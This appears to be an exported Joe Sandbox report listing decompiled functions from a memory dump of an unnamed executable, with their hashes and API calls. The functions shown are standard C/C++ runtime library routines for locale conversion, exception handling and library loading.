Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CurrentThread
String ID: E+$F+$F+
API String ID: 2261580123-1602586302
Opcode ID: a8adc69b0c7d64c7cab5c01f76fe6622a7a8dc088375b32aa8374e5731e1dfde
Instruction ID: b2aa4a93d0e30dca9682f375417a6c91e31c2251ffed686d196d5fdc5e1dd64d
Opcode Fuzzy Hash: a8adc69b0c7d64c7cab5c01f76fe6622a7a8dc088375b32aa8374e5731e1dfde
Instruction Fuzzy Hash: 6921C834608301EBDE206658D8D276E73D4EBE6710F1409BEF55ACB761D7F2DC448A4A

Function 00BDEEFA Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(012D05D0,012D05D0,00000000,7FFFFFFF,?,00BDEEE5,012D05D0,012D05D0,00000000,012D05D0,?,?,?,?,012D05D0,00000000), ref: 00BDEFA0
__alloca_probe_16.LIBCMT ref: 00BDF05B
__alloca_probe_16.LIBCMT ref: 00BDF0EA
__freea.LIBCMT ref: 00BDF135
__freea.LIBCMT ref: 00BDF13B
__freea.LIBCMT ref: 00BDF171
__freea.LIBCMT ref: 00BDF177
__freea.LIBCMT ref: 00BDF187

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 8be0ef747ae67bd5bee685223a2bbb8433ab45fbfebd03fe93372ebdcdedb8ff
Instruction ID: 62d712a869590bb4e9005b221ba5ae7a49767358df225b51cccd0be0300247a0
Opcode Fuzzy Hash: 8be0ef747ae67bd5bee685223a2bbb8433ab45fbfebd03fe93372ebdcdedb8ff
Instruction Fuzzy Hash: 81718272904246AADB219F94CC81FBEB7E6DF49710F1800EBE915BB341F635DD418760

Function 00BC13CB Relevance: 12.2, APIs: 8, Instructions: 175COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 00BC1414
__alloca_probe_16.LIBCMT ref: 00BC1440
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 00BC147F
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00BC149C
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00BC14DB
__alloca_probe_16.LIBCMT ref: 00BC14F8
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00BC153A
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00BC155D

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 08647a71b5fc811efe24b7223b921db19cbd9cf582d2788eea0cb4d5593432ff
Instruction ID: 2634fd599d171369309a3853a0e8745e3d1dfef0827e5737c71c89cd20797ead
Opcode Fuzzy Hash: 08647a71b5fc811efe24b7223b921db19cbd9cf582d2788eea0cb4d5593432ff
Instruction Fuzzy Hash: 3F519372A10206AFDB208F98CC85FAF7BF9EB96750F144899F915A6151DB30CD11CBA0

Function 00BD25EA Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00BD2670

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 2e8523f9e199b17f6625ed6c0ffad96a4a1d4108d1d5b5e50c5b311801a702c8
Instruction ID: e6f11dc681eaffff30e7844435bd472cbb93a1f92af42d013439321d173f15c8
Opcode Fuzzy Hash: 2e8523f9e199b17f6625ed6c0ffad96a4a1d4108d1d5b5e50c5b311801a702c8
Instruction Fuzzy Hash: A8B10432A053959FDB268F64CC81BAAFBE5EF65310F1441E7E904AB382F6759D01C7A0

Function 00BC24E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00BC2517
___except_validate_context_record.LIBVCRUNTIME ref: 00BC251F
_ValidateLocalCookies.LIBCMT ref: 00BC25A8
__IsNonwritableInCurrentImage.LIBCMT ref: 00BC25D3
_ValidateLocalCookies.LIBCMT ref: 00BC2628

Strings

csm, xrefs: 00BC25BD

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 0778404a348e329fd75feb148ba6d6ad9923a30daf8a4948f05a14ef55cc87f8
Instruction ID: 677041ae42cdb70637612506fa9f29bbac6c13111356a430da3372795bc69eb0
Opcode Fuzzy Hash: 0778404a348e329fd75feb148ba6d6ad9923a30daf8a4948f05a14ef55cc87f8
Instruction Fuzzy Hash: 9E41D234A00258DBCF14DF68C895F9EBBE5EF44324F1481E9E8289B352DB71EA41CB91

Function 00BD06B1 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00BD07C0,00BC990C,0000000C,00000000,C0C2D04E,00000000,?,00BD043E,00000022,FlsSetValue,00BE2EF8,00BE2F00,C0C2D04E), ref: 00BD0772

Strings

api-ms-, xrefs: 00BD0708
ext-ms-, xrefs: 00BD071C

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 912375338e29d364a1202794166a3aa307801e5e4141fc544aec135a7ef0da74
Instruction ID: 491d9150e751629b9d0fefe7d464c514121266c3654fc0ae431b4e402a100a18
Opcode Fuzzy Hash: 912375338e29d364a1202794166a3aa307801e5e4141fc544aec135a7ef0da74
Instruction Fuzzy Hash: 3E21D835A11311ABDB21AB65DC85B5ABBD8EF51760F2501A2E825AF391FB30FD01CED0

Function 00BCD1EC Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00BCD1E3,00BC22AA,00BC0E9D), ref: 00BCD1FA
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00BCD208
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00BCD221
SetLastError.KERNEL32(00000000,00BCD1E3,00BC22AA,00BC0E9D), ref: 00BCD273

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: ed50d7d04ead9736d569fcad29e897fdec22ad90ecbac57f9c1ed49f07ec0f0d
Instruction ID: 2d036e07d21792b1dec88b30f9127f7de0eed5c2fa5798030333d3514b5eec95
Opcode Fuzzy Hash: ed50d7d04ead9736d569fcad29e897fdec22ad90ecbac57f9c1ed49f07ec0f0d
Instruction Fuzzy Hash: 7201D83A1097115EA7242674FCC6E2B6FC4EB01B78B2002BEF5348E1E5FF62CC029540

Function 00BC7ADC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,43400BE8,?,?,00000000,00BDFB57,000000FF,?,00BC7B9D,00BC7A84,?,00BC7C39,00000000), ref: 00BC7B11
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00BC7B23
FreeLibrary.KERNEL32(00000000,?,?,00000000,00BDFB57,000000FF,?,00BC7B9D,00BC7A84,?,00BC7C39,00000000), ref: 00BC7B45

Strings

CorExitProcess, xrefs: 00BC7B1B
mscoree.dll, xrefs: 00BC7B0A

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 1c0d962fb5e748d3c7ad5a7532ecb09e72bd2076295a4b3bbd5672dafc482201
Instruction ID: 964288a6d67e3810e3cd399903337c744b16583513ce5f7a7003d7c7c07463dd
Opcode Fuzzy Hash: 1c0d962fb5e748d3c7ad5a7532ecb09e72bd2076295a4b3bbd5672dafc482201
Instruction Fuzzy Hash: A7018F31944699AFDB018B94CC55FAEBBF8FB04B10F000569E821A32A0DF74A800CA80

Function 00BAD0E0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 41COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 00BAD0FC

Strings

pE\&, xrefs: 00BAD14E
pE\&, xrefs: 00BAD145
pE\&, xrefs: 00BAD120
pE\&, xrefs: 00BAD116

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: ___std_exception_destroy
String ID: pE\&$pE\&$pE\&$pE\&
API String ID: 4194217158-2012766030
Opcode ID: fe6d4e7400144646b94ae28f85fdade90fc919945505715735f8c41800b898b9
Instruction ID: 04092c1a22c49d464a69ea900551faa73e7c6369ec0ceb04f2cee63d728efeb8
Opcode Fuzzy Hash: fe6d4e7400144646b94ae28f85fdade90fc919945505715735f8c41800b898b9
Instruction Fuzzy Hash: B101A4F5D182108BCA10AB18E8C2A6A72F0EB56714F050CBAF447EB310E772DC55C79B

Function 00BC056E Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00BC0575
std::_Lockit::_Lockit.LIBCPMT ref: 00BC057F
codecvt.LIBCPMT ref: 00BC05B9
std::_Facet_Register.LIBCPMT ref: 00BC05D0
std::_Lockit::~_Lockit.LIBCPMT ref: 00BC05F0

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: std::_$Lockit$Facet_H_prolog3Lockit::_Lockit::~_Registercodecvt
String ID:
API String ID: 738035616-0
Opcode ID: 3d65d35d4850c8a089f811c44894d24ddf825a582cc6d9d117bf7dd0558b8024
Instruction ID: 5e0cfa6af5ce9bbcb86bbcfd8641ac382eca39945dc4529d143c4c451c7dd57f
Opcode Fuzzy Hash: 3d65d35d4850c8a089f811c44894d24ddf825a582cc6d9d117bf7dd0558b8024
Instruction Fuzzy Hash: D3016D3291421A9BCB05FB64C895BFE77F1BF94320F64049DE421AB3A2DF749A01CB94

Function 00BCDECF Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 123COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,00BCDDD5,?,?,00000000,00000000,00000000,?), ref: 00BCDEF4
CatchIt.LIBVCRUNTIME ref: 00BCDFDA

Strings

MOC, xrefs: 00BCDF06
RCC, xrefs: 00BCDF0E

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: 2c223a3a4b83b270526c680d847178e6d9d7814d5303b03f38c6e6e975337fc6
Instruction ID: 8e7b59ff5e70292b9a45e4d346dd88dd3d69feb1435e39ff74ddf79f540b7579
Opcode Fuzzy Hash: 2c223a3a4b83b270526c680d847178e6d9d7814d5303b03f38c6e6e975337fc6
Instruction Fuzzy Hash: 19413236900209AFCF16DF98C981EAEBBF5FF48304F1981ADF906A6221D335A950DB50

Function 00BBF4B9 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00BBF4C0
std::_Lockit::_Lockit.LIBCPMT ref: 00BBF4CD
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00BBF50A

Part of subcall function 00BBECB7: _Yarn.LIBCPMT ref: 00BBECD6
Part of subcall function 00BBECB7: _Yarn.LIBCPMT ref: 00BBECFA

Strings

bad locale name, xrefs: 00BBF51B

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: Yarnstd::_$H_prolog3Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 482894088-1405518554
Opcode ID: 89f93c2ea09f2e125a5299a91d1a9e53f9b1cf3dce7e9013ec5a35f036a5a45d
Instruction ID: 1d6ffabb570f23a6ae3ac9ec79956cb5960e6e4bda35046fd22430dca543b669
Opcode Fuzzy Hash: 89f93c2ea09f2e125a5299a91d1a9e53f9b1cf3dce7e9013ec5a35f036a5a45d
Instruction Fuzzy Hash: AB014F71905B849EC730DF7A848159AFEF0BF28300B548AAEE09E93B52C770A644CB59

Function 00BDA0F1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00BDA18D,00000000,?,00BF0D38,?,?,?,00BDA0C4,00000004,InitializeCriticalSectionEx,00BE34F4,00BE34FC), ref: 00BDA0FE
GetLastError.KERNEL32(?,00BDA18D,00000000,?,00BF0D38,?,?,?,00BDA0C4,00000004,InitializeCriticalSectionEx,00BE34F4,00BE34FC,00000000,?,00BCE0FC), ref: 00BDA108
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00BDA130

Strings

api-ms-, xrefs: 00BDA115

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 430a7bec89523e39a5d28f7e3926d93d01f726ff5114bd24f5c3b350ebaff24e
Instruction ID: 0da821cf3428f32fb84bac1e1d0a367be66a9091cc28dc0957817bef42ffa021
Opcode Fuzzy Hash: 430a7bec89523e39a5d28f7e3926d93d01f726ff5114bd24f5c3b350ebaff24e
Instruction Fuzzy Hash: 08E04F30280348BBEF202FA1EC46B1A7ED4FB21B41F144461F90CF91E1FB62A9518985

Function 00BD731D Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(43400BE8,00000000,00000000,?), ref: 00BD7380

Part of subcall function 00BCF889: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00BD1030,?,00000000,-00000008), ref: 00BCF8EA

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00BD75D2
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00BD7618
GetLastError.KERNEL32 ref: 00BD76BB

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 4964a660f8f4bb35089afcd26bafb1ee81571e6a90a1c5770e2e19f8cc9c59a3
Instruction ID: 927dd05c79540adc77f007b8d4b92a6c8c58bf1ab5dcb4700cc243a7c097ff52
Opcode Fuzzy Hash: 4964a660f8f4bb35089afcd26bafb1ee81571e6a90a1c5770e2e19f8cc9c59a3
Instruction Fuzzy Hash: BCD15975D046489FCB15CFA8D884AEDFBF5EF09314F2845AAE816EB351FA30A941CB50

Function 00BCD8D3 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00BCD99A
___AdjustPointer.LIBCMT ref: 00BCD9BD
___AdjustPointer.LIBCMT ref: 00BCDA59

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 30f3363f64594c69e0fce7bb90d3314767a4f80e4f390fe0ca363276a655e978
Instruction ID: ef9679fc03596aadc48ef3cfc465ff8e98842089bcd054c5303f7a0f589b149e
Opcode Fuzzy Hash: 30f3363f64594c69e0fce7bb90d3314767a4f80e4f390fe0ca363276a655e978
Instruction Fuzzy Hash: 0351EE7E604242AFDB288F54D881F7A77E4EF54300F1485BDE9468B291E771EC80C750

Function 00BD544A Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00BCF889: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00BD1030,?,00000000,-00000008), ref: 00BCF8EA

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 00BD54AE
__dosmaperr.LIBCMT ref: 00BD54B5
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 00BD54EF
__dosmaperr.LIBCMT ref: 00BD54F6

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 7e92b3689e9ec8516acbf4fb9f3206a91eb67e2cdb947e839c80f11c1a01cbad
Instruction ID: d9b70f208c4b10533904d3b2a3e8c13236b056b8d949cc6f83426ca91a215ec1
Opcode Fuzzy Hash: 7e92b3689e9ec8516acbf4fb9f3206a91eb67e2cdb947e839c80f11c1a01cbad
Instruction Fuzzy Hash: CA21A171600A05AF9B31AF659881E6BFBE9FF5536871085AEF819D7350EB30EC408F61

Function 00BC4841 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
